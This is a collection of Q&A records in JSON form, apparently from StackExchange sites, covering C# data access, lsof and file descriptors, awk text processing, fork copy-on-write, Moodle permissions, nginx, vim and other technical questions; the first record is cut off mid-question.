int parameter, instead of just initializing all primitive type fields with the values from the form? (I suppose that it is possible if I write a custom one, but as I have a workaround, I don't want to go that deep for now). Please look into the code for further problems, I suppose there must be more than I can find. The codeAs a shortened example, we have the business entity Animal Line, with the two properties name and database ID.     [Table(Name = AnimalLine)]public class AnimalLine {    [Column(Name = AnimalLine_ID, IsPrimaryKey = true, IsDbGenerated = true, AutoSync = AutoSync.OnInsert)]    public int AnimalLineId { get; set; }    [Column(Name = FullName, CanBeNull = false)]    public string FullName { get; set; }}There is a class functioning as a repository, called AnimalLineManagement. It can update an existing animal line either from a bunch of properties, or from an existing object. public class AnimalLineManagement{    private DataContext dataContext;    private Table<AnimalLine> animalLine;    public AnimalLineManagement(DataContext dataContext)    {        // as far as I can see, he has forgotten to dispose of the data context.         this.dataContext = dataContext;        animalLine = dataContext.GetTable<AnimalLine>();    }     // other methods left out for brevity     public bool Update(String fullName, int id)     {        try        {            var al = animalLine.SingleOrDefault(a => a.AnimalLineId == id);            if (al != null)            {                if (!String.IsNullOrEmpty(fullName))                {                    al.fullName= fullName;                }            }            dataContext.SubmitChanges();            return true;            }            else { return Insert(fullName); }        }        catch        {            return Insert(fullName);        }    }    public void Update(AnimalLine al)    {            dataContext.SubmitChanges();     }}There is also a view model class, which wraps an actual animal line class. It provides the properties of the animal line in a way which will not produce an exception (in the real application, a call like AnimalLine.Species.LatinName produces an exception if Species is not set, and I don't want to catch this in the view in the middle of all the HTML), and packs some more info which would have been stuffed in the ViewBag else (not shown here). public class AnimalLineVM{    private AnimalLine animalLine;     public string errorMessage = An error occured while trying to retrieve this information;    private string fullName;    //I would have preferred to always initialize the base animal line     //in the constructor, but when the instance is created by the model binder,     //I don't think I can do this. So I set the base animal line later,     //using this variable to ensure that once set, it can't be changed.     private bool animalLineAlreadySet;    public AnimalLineVM(AnimalLine baseAnimalLine)    {        this.animalLine = baseAnimalLine;        animalLineAlreadySet = true;     }    public AnimalLineVM()    {        animalLineAlreadySet = false;     }    public AnimalLine BaseAnimalLine    {        get { return animalLine; }         set        {            if (!animalLineAlreadySet)            {                animalLine = value;                animalLineAlreadySet = true;            }            else            {                throw new InvalidOperationException(The base animal line has already been set. It is not possible to change it.);             }        }    }    [Display(Name = ID)]     public int AnimalLineId    {        // read only, so we cannot get a discrepancy between the base animal line and the ID in the viewmodel        get        {            if (animalLineAlreadySet)            {                int id = BaseAnimalLine.AnimalLineId;                if (id == null || id < 0)                {                    return -1;                }                else return id;            }            else return -1;         }    }    [Display(Name = Full name)]     public string FullName    {        get        {            fullName = fullName ?? errorMessage;            return fullName;         }        set        {            fullName = value;         }    }    public void updateBaseAnimalLine()    {        BaseAnimalLine.FullName = this.FullName;     }}And this is the controller: public class AnimalLineController : Controller{    private IAnimalLineManagement animalLineManagement;    public TumorModelsController() :base()    {        animalLineManagement = new AnimalLineManagement(new DataContext(ConfigurationManager.ConnectionStrings[TumorModelsDB].ConnectionString));     }public ActionResult EditAnimalLine(int animalLineId){    AnimalLine al = animalLineManagement.GetSingleLine(animalLineId);    return View(EditAnimalLine, new AnimalLineVM(al)); }     //TODO: implement validation of user input    [HttpPost]    public ActionResult EditAnimalLine(AnimalLineVM animalLine)    {        int alId;         if (int.TryParse(Request.Form[animalLineId], out alId))        {            animalLine.BaseAnimalLine = animalLineManagement.GetSingleLine(alId);            animalLine.updateBaseAnimalLine();        }        return View(AnimalLine, animalLine);     }}"  , "title": "Does this unusual data access pattern create any problems?"  , "tags": "c#;beginner;linq to sql"  } 
{  "id": "_webmaster.58968"  , "question": "A client has a site since 1999 with a domain consisting of two, very descriptive of the business, words (let's say dog-toys.ie). In about 2001 he decided to change to dogtoys.ie (was running radio ads and figured the dash may add confusion to the site name). So without thinking too much about it, I just parked dogtoys.ie onto dog-toys.ie. Also, for both domains, we have not made www canonical so www.dogtoys.ie/example.html or dog-toys.ie/example.html are the same page.We have read many times that Google etc do not like this, however the site has performed fairly well SEO wise for the last 10 year and the client and I are torn between leaving things as is, and fixing it to make www.dogtoys.ie canonical via mod rewrite (or would the dashed version offer better performance?)Thanks in advance!"  , "title": "2 x domains for same site in Google make canonical or not?"  , "tags": "seo;google;domains;duplicate content"  , "accepted_answer": "You're in a tough spot. You know what you're doing is problematic but so far it hasn't caught up to you yet. And you're doing fairly well in the rankings to boot so if you make any changes you risk hurting that.So you need to decide:1) Do you setup canonical URLs and make changes that can potentially affect your rankings?When things are going well SEO-wise, it is generally wise to not make any changes as even an optimization can turn out to change things for the worse. But in your case you may be feeling the effects of duplicate content and not actually realize it. While you clearly have not been removed from Google's index or received any kind of catastrophic penalty, you may have some pages that are not ranking well or could be ranking better due to duplicate content. So using canonical URLs may actually improve your rankings. Unfortunately there is no way to know unless you actually make the changes.2) Do you leave things as is and in the future potentially have your rankings plummet in the future due to duplicate content?If it ain't broke, don't fix it. I've seen many webmasters asking for help here because they made changes to a site that was doing well in the search results but they thought they could do better. But in this case waiting could mean you suddenly disappear from the search results and it could take weeks or months to get your old rankings back even if you immediately add canonical URLs.This is a business decision. Which risk is more acceptable to the business?"  } 
{  "id": "_unix.217879"  , "question": "I've noticed, if a file is renamed, lsof displays the new name.To test it out, created a python script:#!/bin/pythonimport timef = open('foo.txt', 'w')while True:  time.sleep(1)Saw that lsof follows the rename:$ python test_lsof.py &[1] 19698$ lsof | grep foo | awk '{ print $2,$9 }'19698 /home/bfernandez/foo.txt$ mv foo{,1}.txt$ lsof | grep foo | awk '{ print $2,$9 }'19698 /home/bfernandez/foo1.txtFigured this may be via the inode number. To test this out, I created a hard link to the file. However, lsof still displays the original name:$ ln foo1.txt foo1.link$ stat -c '%n:%i' foo*foo1.link:8429704foo1.txt:8429704$ lsof | grep foo | awk '{ print $2,$9 }'19698 /home/bfernandez/foo1.txtAnd, if I delete the original file, lsof just lists the file as deleted even though there's still an existing hard link to it:$ rm foo1.txtrm: remove regular empty file foo1.txt? y$ lsof | grep foo | awk '{ print $2,$9,$10 }'19698 /home/bfernandez/foo1.txt (deleted)So finally...My questionWhat method does lsof use to keep track open file descriptors that allow it to:Keep track of filename changesNot be aware of existing hard links"  , "title": "How does `lsof` keep track of open file descriptors' filenames?"  , "tags": "files;hard link;lsof;deleted files"  , "accepted_answer": "You are right in assuming that lsof uses the inode from the kernel's name cache. Under Linux platforms, the path name is provided by the Linux /proc file system.The handling of hard links is better explained in the FAQ:3.3.4 Why doesn't lsof report the correct hard linked file path      name?When lsof reports a rightmost path name component for a      file with hard links, the component may come from the      kernel's name cache.  Since the key which connects an open      file to the kernel name cache may be the same for each      differently named hard link, lsof may report only one name      for all open hard-linked files.   Sometimes that will be      correct in the eye of the beholder; sometimes it will      not.  Remember, the file identification keys significant      to the kernel are the device and node numbers, and they're      the same for all the hard linked names.The fact that the deleted node is displayed at all is also specific to Linux (and later builds of Solaris 10, according to the same FAQ)."  } 
{  "id": "_webapps.102853"  , "question": "I changed my relationship status a few weeks ago from single to in a relationship (leaving the person-in-question box empty). Today I want this info as-is to be publicly accessible on my profile, but not have it plastered on other people's news feeds. How do I accomplish this?Will it suffice to change the only me privacy setting to public?"  , "title": "Public in a relationship Facebook status without news feeding?"  , "tags": "facebook;facebook privacy"  , "accepted_answer": "When you change any activity, and don't want it to appear in friends News Feed, keep the audience Only Me, After sometime (around 24-hrs) change the audience to Public or Friends or any custom. It will not appear to anyone's Timeline, but whenever someone visit your profile they will be able to see latest update.So, yes, it will suffice to change the Only Me privacy setting to Public."  } 
{  "id": "_unix.191400"  , "question": "I need some help with a combination of awk & while loop.I have two simple files with columns (normal ones are very large), one representing simple intervals for an ID=10(of coding regions(exons),for chromosome 10 here): #exons.bed10  60005   60100   10  61007   61130   10  61200   61300   10  61500   61650   10  61680   61850   and the other representing sequenced reads(=just intervals again but smaller) with an other value as last column, that I ll need later: #reads.bed10  60005   60010    34 10  61010   61020    4010  61030   61040    2210  61065   61070    35 10  61100   61105    41So, I would like to search in a quick and efficient way and find which read intervals (of which line in the file) and how many, fall in one coding region:exon 1(first interval of table 1) contains reads of line 1,2,3, etc. of   reads.file(2nd table)so that I can get the value of 4th column of these lines later, for each exon.I 've written a code,that probably needs some corrections on the while loop, since I cannot make it parse the reads lines one by one for each awk. Here it is:while read chr a b cov; do  #for the 4-column file#if <a..b> interval of read falls inside exon interval:awk '($2<=$a && $b <= $3) {print NR}' exons.bed >> out_lines.beddone < reads.bedAt the moment I can make the awk line running when I give manually a,b, but I want to make it run automatically for each a,b pair by file.Any suggestion on changing syntax, or way of doing it, is highly appreciated! FOLLOW UPFinally I worked it out with this code:    awk 'NR==FNR{        a[NR]=$2;         b[NR]=$3;        next; }    {  #second file    s[i]=0; m[i]=0;  k[i]=0;              # Add sum and mean calculation    for (i in a){                                                   if($2>=a[i] && $3<=b[i]){         # 2,3: cols of second file here          k[i]+=1          print k                      #Count nb of reads found in          out[i]=out[i] FNR          # keep Nb of Line of read           rc[i]=rc[i] FNR|$4       #keep Line and cov value of $4th col          s[i]= s[i]+$4                #sum over coverages for each exon          m[i]= s[i]/k[i]             #Calculate mean (k will be the No or                                         #reads found on i-th exon)     }}      }    END{       for (i in out){          print Exon, i,: Reads with their COV:,rc[i],\\          Sum=,s[i],Mean=,m[i] >> MeanCalc.txt    }}' exons.bed  reads.bedOUTPUT:    Exon 2 : Reads with their COV:  2|40 3|22 4|35 5|41 Sum= 138  Mean= 34.5   etc."  , "title": "Nested 'awk' in a 'while' loop, parse two files line by line and compare column values"  , "tags": "shell script;text processing;awk;bioinformatics"  , "accepted_answer": "The first issue is that you can't use bash variables inside awk like that. $a within awk evaluates to field a but a is empty since it is not defined in awk, but in bash. One way around this is to use awk's -v option to define the variable      -v var=val--assign var=val   Assign the value val to the variable var,  before  execution  of   the  program  begins.  Such variable values are available to the   BEGIN rule of an AWK program.So, you could do:while read chr a b cov; do   awk -v a=$a -v b=$b '($2<=a && b <= $3) {print NR}' exons.bed > out$a$b done < reads.bedYou have another mistake there though. In order for a read to fall within an exon, the read's start position must be greater than the start position of the exon and its end position smaller than the end position of the exon. You are using $2<=a && b <= $3 which will select reads whose start is outside the exon's boundaries. What you want is $2>=a && $3<=b.In any case, running this type of thing in a bash loop is very inefficient since it needs to read the input file once for every pair of a and b. Why not do the whole thing in awk?awk 'NR==FNR{a[NR]=$2;b[NR]=$3; next} {        for (i in a){           if($2>=a[i] && $3<=b[i]){            out[i]=out[i] FNR         }}}        END{for (i in out){                   print Exon,i,contains reads of line(s)out[i],\\                   of reads file         }}' exons.bed reads.bedThe script above produces the following output if run on your example files:Exon 1 contains reads of line(s) 1 of reads fileExon 2 contains reads of line(s) 2 3 4 5 of reads fileHere's the same thing in a less condensed form for clarity#!/usr/bin/awk -f## While we're reading the 1st file, exons.bedNR==FNR{    ## Save the start position in array a and the end     ## in array b. The keys of the arrays are the line numbers.    a[NR]=$2;    b[NR]=$3;     ## Move to the next line, without continuing    ## the script.    next;} ## Once we move on to the 2nd file, reads.bed {     ## For each set of start and end positions     for (i in a){         ## If the current line's 2nd field is greater than         ## this start position and smaller than this end position,         ## add this line number (FNR is the current file's line number)         ## to the list of reads for the current value of i.          if($2>=a[i] && $3<=b[i]){             out[i]=out[i] FNR          }     } } ## After both files have been processed END{     ## For each exon in the out array     for (i in out){         ## Print the exon name and the redas it contains         print Exon,i,contains reads of line(s)out[i],             of reads file         }"  } 
{  "id": "_codereview.71358"  , "question": "I have an interface and a concrete class which I am using in the code below:    /// <summary>    /// Converts a DataSet read from the DB to a list of objects of a type    /// TemplatePart.     /// </summary>    /// <param name=templatePartDataSet>DataSet containing the information.    /// </param>    /// <returns>List of unprocessed TemplateParts.</returns>    private static List<ITemplatePart> DataSetToTemplatePart(DataSet templatePartDataSet)    {        var rawTemplateParts = new List<ITemplatePart>();        foreach (DataTable table in templatePartDataSet.Tables)        {            var tableName = table.ToString();            foreach (DataRow row in table.Rows)            {                if (string.IsNullOrEmpty(                    row.Field<string>(Strings.TemplateSpreadSheet_Column_PartName)))                {                    continue;                }                // THE LINE RELATED TO MY QUESTION.                var rawTemplatePart = TemplatePart.CreateTemplatePart(table, row);                rawTemplateParts.Add(rawTemplatePart);            }        }        return rawTemplateParts;    }TemplatePart is a simple class with 4 properties with the definition of:{    public class TemplatePart : ITemplatePart    {        #region Creator        internal static TemplatePart CreateTemplatePart(DataTable table, DataRow row)        {            return new TemplatePart            {                PartName = row.Field<string>(Strings.TemplateSpreadSheet_Column_PartName),                BasePart = row.Field<string>(Strings.TemplateSpreadSheet_Column_BasePart)            };        }        #endregion // Creator        #region Public Properties        public string PartName { get; set; }        public string BasePart { get; set; }        public double? PriceDom { get; set; }        public double? PriceInt { get; set; }        #endregion // Public Properties    }}and the ITemplatePart as: namespace PriorityPriceGenerator2.Model.TemplatePart{    interface ITemplatePart    {    }}of course the interface hasn't been implemented completely. And also the concrete class doesn't have the IDisposable yet.Would you prefer (/if it's necessary or even totally wrong) to do such thing in the marked line.using (var rawTemplatePart = TemplatePart.CreateTemplatePart(table, row))    rawTemplateParts.Add(rawTemplatePart);And why? I want to know what happens to a member added to the list which is in the Using. Would it get destroyed and recreated in the List? Would it get destroyed because of using after I am done with the List ?And please, let me know if you see any other issues. "  , "title": "Would you utilise Using on a member which is going to be added to a list?"  , "tags": "c#;interface"  , "accepted_answer": "No, you shouldn't use using on the object that you add to the list.When you add the object to the list, it's just the reference to the object that gets added. There is no copy of the object created for the list.If you use using on the object, it will be disposed at the end of the code block, which is a single statement in your example. Right after you have added the object to the list it will be disposed.Although nothing happens automatically when you dispose an object, it's customary that the object should be unusable after the Dispose method has been called. The IDisposable interface is intended for controlling the lifespan of objects, usually to free unmanaged resources when you are done using the object.After you are done using the objects in the list, you should dispose them.However, from what I can tell there isn't going to be any unmanaged resources in your object, so there wouldn't be any need for it to implement IDisposable. The (supposedly) database related objects are only used during the creation of the object, and so far there are nothing unmanaged in the class."  } 
{  "id": "_webmaster.81100"  , "question": "Following Google guidelines for creating an sitemap.xml file to add a href lang annotations, I'm getting display issue when viewing the sitemap.xml file in my browser.Instead of looking like a normal xml sitemap, it just displays like text on a single line:I think this is just a display issue, if you view source it looks fine and all data is there, it also tests in GWT with no errors, but what is causing it to displays like that?Here is an example of the code:<?xml version=1.0 encoding=UTF-8?><urlset xmlns=http://www.sitemaps.org/schemas/sitemap/0.9 xmlns:xhtml=http://www.w3.org/1999/xhtml><url><loc>http://www.example.com/en/</loc><xhtml:link rel=alternate hreflang=en-sg href=http://www.example.com/en/ /><xhtml:link rel=alternate hreflang=en-ph href=http://www.example.com/ph/ /><xhtml:link rel=alternate hreflang=en-my href=http://www.example.com/my/ /></url><url><loc>http://www.example.com/ph/</loc><xhtml:link rel=alternate hreflang=en-sg href=http://www.example.com/en/ /><xhtml:link rel=alternate hreflang=en-ph href=http://www.example.com/ph/ /><xhtml:link rel=alternate hreflang=en-my href=http://www.example.com/my/ /></url><url><loc>http://www.example.com/my/</loc><xhtml:link rel=alternate hreflang=en-sg href=http://www.example.com/en/ /><xhtml:link rel=alternate hreflang=en-ph href=http://www.example.com/ph/ /><xhtml:link rel=alternate hreflang=en-my href=http://www.example.com/my/ /></url></urlset>"  , "title": "href lang annotations in xml sitemap file displays issues"  , "tags": "google;xml sitemap;xml;hreflang"  } 
{  "id": "_unix.58145"  , "question": "According to Wikipedia (which could be wrong)When a fork() system call is issued, a copy of all the pages corresponding to the parent process is created, loaded into a separate memory location by the OS for the child process. But this is not needed in certain cases. Consider the case when a child executes an exec system call (which is used to execute any executable file from within a C program) or exits very soon after the fork(). When the child is needed just to execute a command for the parent process, there is no need for copying the parent process' pages, since exec replaces the address space of the process which invoked it with the command to be executed.In such cases, a technique called copy-on-write (COW) is used. With this technique, when a fork occurs, the parent process's pages are not copied for the child process. Instead, the pages are shared between the child and the parent process. Whenever a process (parent or child) modifies a page, a separate copy of that particular page alone is made for that process (parent or child) which performed the modification. This process will then use the newly copied page rather than the shared one in all future references. The other process (the one which did not modify the shared page) continues to use the original copy of the page (which is now no longer shared). This technique is called copy-on-write since the page is copied when some process writes to it.It seems that when either of the processes tries to write to the page a new copy of the page gets allocated and assigned to the process that generated the page fault. The original page gets marked writable afterwards.My question is: what happens if the fork() gets called multiple times before any of the processes made an attempt to write to a shared page?"  , "title": "How does copy-on-write in fork() handle multiple fork?"  , "tags": "linux;c;fork"  , "accepted_answer": "Nothing particular happens. All processes are sharing the same set of pages and each one gets its own private copy when it wants to modify a page."  } 
{  "id": "_unix.377947"  , "question": "I installed a SanDisk 240GB SSD. My old HDD will now be my storage. I've partitioned the SSD into 4 roughly 55GB partitions. I've also done a pvcreate, vgcreate, and an lvcreate for each partition named for the OS it will house. I have the .iso files saved to my HDD Downloads folder. Do I need to make a file system on each partition now before I install the OS? Or do I simply dd if=..., etc? I tried the DD route, but my boot menu only shows the SSD as a whole.Not sure what to do now. "  , "title": "Partitioning SSD for multiple OS's"  , "tags": "dd"  } 
{  "id": "_webmaster.61508"  , "question": "I am running a Moodle 2.4.8 (Build: 20140113) on a Debian Squeeze box, with Apache 2.2. Whenever a user (even the admin user) makes changes to certain settings (i.e. adding a user), or just accessing certain courses (in this case, Math 9), the page pops up with a 503 error, Fatal error: $CFG->dataroot is not writable, admin has to fix directory permissions! Exiting.Checking my /config.php file, I see the path is set to /var/moodledata2, which is owned by www-data  www-data, and permissions are lined up with the Moodle documentation. This was intermittent at the start of the week, but now it's getting to be constant. There is lots of free space available (as shown below):# df -hFilesystem            Size  Used Avail Use% Mounted on/dev/md2               83G   37G   42G  48% /tmpfs                 2.0G     0  2.0G   0% /lib/init/rwudev                  2.0G  224K  2.0G   1% /devtmpfs                 2.0G     0  2.0G   0% /dev/shm/dev/md1              939M   35M  857M   4% /boot/dev/md3              822G  355G  426G  46% /var/dev/md4              917G   72G  799G   9% /var/moodledata2# cat config.php<?php  // Moodle configuration fileunset($CFG);global $CFG;$CFG = new stdClass();$CFG->dbtype    = 'mysqli';$CFG->dblibrary = 'native';$CFG->dbhost    = 'localhost';$CFG->dbname    = 'moodle2';$CFG->dbuser    = 'root';$CFG->dbpass    = '<removed>';$CFG->prefix    = 'mdl_';$CFG->dboptions = array (  'dbpersist' => 0,  'dbsocket' => 0,);$CFG->wwwroot   = 'http://example.com/moodle2'; // <removed>$CFG->dataroot  = '/var/moodledata2';$CFG->admin     = 'admin';$CFG->directorypermissions = 0777;$CFG->passwordsaltmain = '<removed>';require_once(dirname(__FILE__) . '/lib/setup.php');// There is no php closing tag in this file,// it is intentional because it prevents trailing whitespace problems!#I'm at a loss for what to do. Permissions seem logical in how they should be (www-data owning everything, and having full access to the /var/moodledata2 folder). What is my next step?"  , "title": "Moodle error - Fatal error: $CFG->dataroot is not writable, admin has to fix directory permissions! Exiting."  , "tags": "moodle"  } 
{  "id": "_scicomp.21106"  , "question": "I want to solve a integer programming problem with binary variables $x_1,\\ldots,x_n.$ I have a permutation group $G \\leq S_n$ such that for every $f \\in G$ the vector $\\overline{x}_1,\\ldots,\\overline{x}_n$ is a feasible solution if and only if $\\overline{x}_{f(1)}, \\ldots ,\\overline{x}_{f(n)}$ is a feasible solution.I am wondering whether there is any clever way to take into account the symmetries given by $G?$If we fix a specific $f \\in G$ we can always add the single constraint $x_1 \\leq x_{f(1)}$ but I don't see how to fully generalize this for the whole domain of $f$ and perhaps every element of $G.$I am well aware of the following exposition but I'm yet to see if the presented approaches work well for this case.In the meantime I wanted to pose this question here in case there is an obvious solution.Edit. To clarify the question. I was wondering if there is a way to encode the symmetry of $G$ as constraints of the integer program. I've tried using both CPLEX and Gurobi, setting both to exploit symmetries to the maximum but I am pretty sure they do not get the full range of symmetries and are performing quite a large chunk of redundant computation."  , "title": "Breaking symmetries in a (binary) integer program"  , "tags": "linear programming;mixed integer programming;symmetry"  } 
{  "id": "_unix.303613"  , "question": "Under Linux, I have a process that is blocked in uninterruptible sleep (state D). How can I investigate what's causing this?I am running an ordinary kernel (a Debian build), without any special debugging features.There is no relevant log entry in fact nothing got logged between the time the process started and the time I noticed it.strace can't even attach to the process since it's in uninterruptible sleep. And even if I knew what system call was called, that wouldn't necessarily help me. I need to know what's going on inside the kernel.Specifically, the sync command goes into uninterruptible sleep :( So I must have an I/O problem somewhere but all my filesystems appear to work normally. There may well be an old log entry about an I/O error but I can't find it (this machine hasn't rebooted in a long time, that's a lot of log entries). Can I at least know which subsystem is blocking sync? For example, get a kernel backtrace for the kernel thread corresponding to a particular PID/TID?(I'm sure that rebooting would either fix this or reveal the error but I'm asking how to investigate this, not how to blindly press a button.)"  , "title": "Find the cause of a permanently-blocked I/O (process in uninterruptible sleep)"  , "tags": "linux;process;io;debugging"  } 
{  "id": "_unix.165229"  , "question": "Below is my shell script which is written in another x to find the health of server y. ( I have not written in server y because there is no functionality of getting mails) #!/bin/bashtarget=10.9.34.52count=$( ping -c 5 $target | grep icmp* | wc -l )if [ $count -eq 0 ]then echo The Tomcat Dev server GMP_Dev_Tomcat_cvgrhegmpd003 with ip address 10.9.34.52 is DOWN Please check your server ASAP |  mail -s  Dev Tomcat Server Status Cahndraprakash@xxx.comelse   echo The Tomcat Dev server GMP_Dev_Tomcat_cvgrhegmpd003 with ip address 10.9.34.52 is UP and WORKINGfiI am not getting any alert. I have added my shell script to crontab -e which runs every 1 min. But if I run the script ./scriptname.sh, I do get mails (I was checking when my server was up)."  , "title": "Unix shell script for server alerts"  , "tags": "shell;ping"  } 
{  "id": "_unix.151333"  , "question": "I've become far too trained to use <C-C> to return to normal mode. I understand there is a difference between <C-C> and <ESC> but that's beside the point of this question.I use the mapping nnoremap <C-C> <silent> <C-C> so I don't see the message Type :quit<Enter> to exit vim when pressing <C-C> in normal mode.When in normal mode and pressing r I can't cancel with <C-C>, instead it will just insert the non printable character. Is there a way to change this behavior?"  , "title": "Vim: Exit single character replace mode with  when using `nnoremap   `"  , "tags": "vim"  , "accepted_answer": "First, thatnnoremap <C-C> <silent> <C-C>has the <silent> parameter in the wrong position; it works, but not the way you think it does (and it beeps). Better use this:nnoremap <C-C> <Nop>To avoid the insertion of ^C when aborting r, define a special mapping for that, too:nnoremap r<C-c> <Nop>"  } 
{  "id": "_reverseengineering.6089"  , "question": "I'm trying to create a .sig file for sqlite3. I downloaded the source code from the website, compiled it into a .lib (smoothly), and this is what I get when I try to turn it into a .pat file:plb.exe -v sqlite.libsqlite.lib: invalid module at offset 143146. Skipping.sqlite.lib: invalid module at offset 2587742. Skipping.sqlite.lib: skipped 2, total 2The resulting .pat file is empty and I cannot proceed to create the final file with sigmake.Google doesn't seem to indicate that anyone has ever had an invalid module at offset problem in the entire world, so I'm guessing this is pretty unique. I'm stuck. Help?"  , "title": "Unable to create FLIRT signature for IDA"  , "tags": "ida;flirt signatures"  , "accepted_answer": "plb.exe is designed for OMF libraries (primarily used for 16 bit Borland compilers). What you probably want is pcf.exe, which parses COFF libraries commonly used in 32 bit windows."  } 
{  "id": "_unix.366157"  , "question": "I have Centos 6.7 running java application via a wrapper programme. So first I ran this.lsof -p 15200 | wc -l and I got the results immediately as 200next I ran this  lsof -p 15232 | wc -l I keep taking too long and never generated any results. What other method can I use to get the total open files? I need to know cause my system keep hanging after certain time. I will maybe need to increase the open file size."  , "title": "lsof command taking too long for a particular process id"  , "tags": "centos;lsof"  , "accepted_answer": "You can get the number files opened by a process identified by a PID, for instance 15232, doing:ls -l /proc/15232/fd | wc -lfrom the Debian lists:I am trying to figure out the meaning of:/proc/$PID/fd/*files.These are links that point to the open files of the process whose pid  is $PID. Fd stands for file descriptors, which is an integer that  identifies any program input or output in UNIX-like systems.This is also actually where the lsof command drinks the information to give you the files of a process.This is a feature of the linux kernel, and is distribution agnostic."  } 
{  "id": "_webapps.47152"  , "question": "I came across a YouTube whose title was made of use letters that were not part of its logo. Here is the link:http://www.youtube.com/watch?v=oZkgIjJlsxAThese letters are considered part of the text and provide a huge advantage over other videos in terms of visibility.My question is, how did the makers of this video create these giant letters? Is it a special font, or perhaps a hack using some foreign writing system?"  , "title": "How to write in super large letters in an ordinary textfield"  , "tags": "youtube;font;text;hack"  , "accepted_answer": "It is done using block element characters that look like they spell another word: It is actually an ASCII art with the following characters:   It can't be used to spell all letters of the alphabet, but you can try. Other characters can help as well.Here I just wrote the first part of your username:  I gave up because the R is hard to draw, but I am sure there are some online generators out there.I am not sure YouTube approves of using such tricks, though."  } 
{  "id": "_unix.167852"  , "question": "I have a simple default website configuration located in my sites-available folder in nginx that looks like the one below.When I try browse to /hello I'd expect it to serve the index.html file located in the root folder I specified. Instead, it is trying to get /hello/index.html within the root location I specified.Is there a way to tell nginx to serve the files without prefixing the context path?root /var/...;location / {    ...}location /hello/ {    root /home/vagrant/public_html/project/dist;}"  , "title": "Why does nginx prefixes the location context path to the root location?"  , "tags": "nginx"  } 
{  "id": "_unix.164229"  , "question": "I'm connected to Internet with a simple ADSL router with NAT. I have a smartphone and a laptop running linux.I need to connect to a IPsec server using OpenSwan. First I tested that it is possible to connect to. I entered connection info into the smartphone and connection was established through the router. Now I see that router is not a problem. And I start to connect my linux laptop:# ipsec auto --up witopia104 witopia #1: STATE_MAIN_I1: initiate010 witopia #1: STATE_MAIN_I1: retransmission; will wait 20s for response010 witopia #1: STATE_MAIN_I1: retransmission; will wait 40s for response010 witopia #1: STATE_MAIN_I1: retransmission; will wait 40s for response...My configuration file /etc/ipsec.d/witopia.conf:conn witopia    left=%defaultroute    leftid=@witopia    leftmodecfgclient=yes    leftxauthclient=yes    leftxauthusername=W\\johnsmith@gmail.com    right=ipsec.sanfrancisco.witopia.net    rightxauthserver=yes    rightmodecfgserver=yes    authby=secret    auto=addWhat could be wrong here?"  , "title": "Connect to IPsec VPN using OpenSwan"  , "tags": "networking;vpn;nat;ipsec;openswan"  } 
{  "id": "_unix.190653"  , "question": "Sample Input:id,Product1,Product2,Product3,Product41,0.1,0.3,0.8,0.72,0.6,0.7,0.5,0.9I need output as :id,productname,product_val1,Product1,0.11,Product2,0.31,Product3,0.81,Product4,0.72,Product1,0.62.Product2,0.73,Product3,0.5I had tried awk -F, 'NR==1 { for (i=1; i<=NF; i++) sn[i]=$i }         NR>1 { for (i=1; i<=NF; i++) print sn[i] , $i;}' filename.csv"  , "title": "Transform .csv into 3 columns and a row"  , "tags": "shell;text processing;scripting;csv simple"  , "accepted_answer": "except for the new headings, which you can easily add, this does it:awk -F, 'NR==1 { for (i=2; i<=NF; i++) sn[i]=$i }     NR>1 { for (i=2; i<=NF; i++) print $1 , sn[i] , $i }' filename.csv"  } 
{  "id": "_unix.40406"  , "question": "Stardict uses a tray icon , also allows multiple instance of itself ,  but sadly , i don't use a panel , so no notification area available.But when I hit on close , it minimized to tray , is there a way to find its Window ? if the WId was found , activate this window by sending some X message ? I'm not sure if it's possible. (for hidden windows)Thanks , and please provide a simple bash script"  , "title": "Shell script: find iconized programs , if found , activate it"  , "tags": "bash;xorg;window"  , "accepted_answer": "With wmctrl:wmctrl -a StardictWith xdotool:xdotool windowactivate $(xdotool search --class Stardict)I used Stardict for the window class, check that this is right with xprop (run xprop in a terminal then click on a non-iconified Stardict window and check the WM_CLASS line)."  } 
{  "id": "_cstheory.14162"  , "question": "Is there any way to get $n$ primes efficiently? That is, is there any polynomial algorithm for doing this? ($n$ is the cardinality.)Re-phrasing the question:1) Suppose that at the input level, we insert $n$. This is the number of primes we want to obtain. (any set) (So, for example, getting five number of prime. The example output would be 2,3,5,7,11)2) Is there any algorithm that does this efficiently? What would be its complexity (based on $n$)?"  , "title": "An algorithm for getting $n$ primes"  , "tags": "cc.complexity theory"  } 
{  "id": "_unix.218906"  , "question": "I would like to move all the folders contained in the folder /example named e.g. *_jony to a new directory call /jony. I have try several way without success! It would be great to have some helps. Thanks!"  , "title": "Find and move directory to a new directory based on name"  , "tags": "find;directory;move"  } 
{  "id": "_unix.294972"  , "question": "I need to extract more than 2k files from 1000 folders..the problem is, each folder has a zipped folder inside and inside this folder, there is another folder called fileholder which contains some temp.processed filetype that I need to get. Is there any way to search for all these files and copy them to another location? or do I have to extract all of the zip files? I have ran: find -type f -iname \\*.PROCESSEDbut that does not search inside the zipped files. Can someone point me to the right direction?"  , "title": "Search for files inside multiple subdirectories and zip directories"  , "tags": "shell script;files;find;search;zip"  } 
{  "id": "_unix.56589"  , "question": "I am quite new to Ubuntu, so I am running into some problems.I was following this tutorial to install Ruby Tests for Sublime Text 2: https://github.com/maltize/sublime-text-2-ruby-testsThere is one point: Make a copy of RubyTest.sublime-settings file to ~/Library/Application Support/Sublime Text 2/Packages/User/ and make your changes.But when I try to copy, I get error that there is no such folder.Can anyone help me?"  , "title": "How to install Ruby Test to Sublime Text 2"  , "tags": "ubuntu;software installation;path;ruby"  } 
{  "id": "_cogsci.15797"  , "question": "Why do we need to break down long sentences that won't immediately scan? Is it an attention thing? Working memory, executive function?For example:Studies show that if there are many stimuli present (especially if they are task-related)....  is a straightforward sentence. The only ambiguous term is they. Does it mean studies or stimuli? In this case it is, obviously, stimuli, but the issue seems to be that i need to read the they slower, and am not primed to. What part of cognition is being tested?"  , "title": "Why do we need to break down long sentences to understand them?"  , "tags": "linguistics;reading"  , "accepted_answer": "First off, the difficulty in the specific example given in the question is more a matter of proper writing habits than anything else. The use of parentheses is often discouraged because it disrupts sentence structure and therefore interferes with the flow of information. Secondly, the use of referring words (pronouns) to earlier parts of the sentence are generally encouraged, barred that the pronoun is unambiguous. In the example the pronoun is ambiguous, as both 'stimuli' and 'studies' can be 'task-related'. The cited sentence is therefore a prime example of how not to write a decent English sentence and could be a textbook example for Scientific-English writing courses.In terms of cognition, it is indeed related to working memory, as you need to remember the words in the earlier part of the sentence. Of course attention (vigilance) is needed to extract the information in the sentence. Executive function therefore is involved, as it includes all aforementioned processes.   "  } 
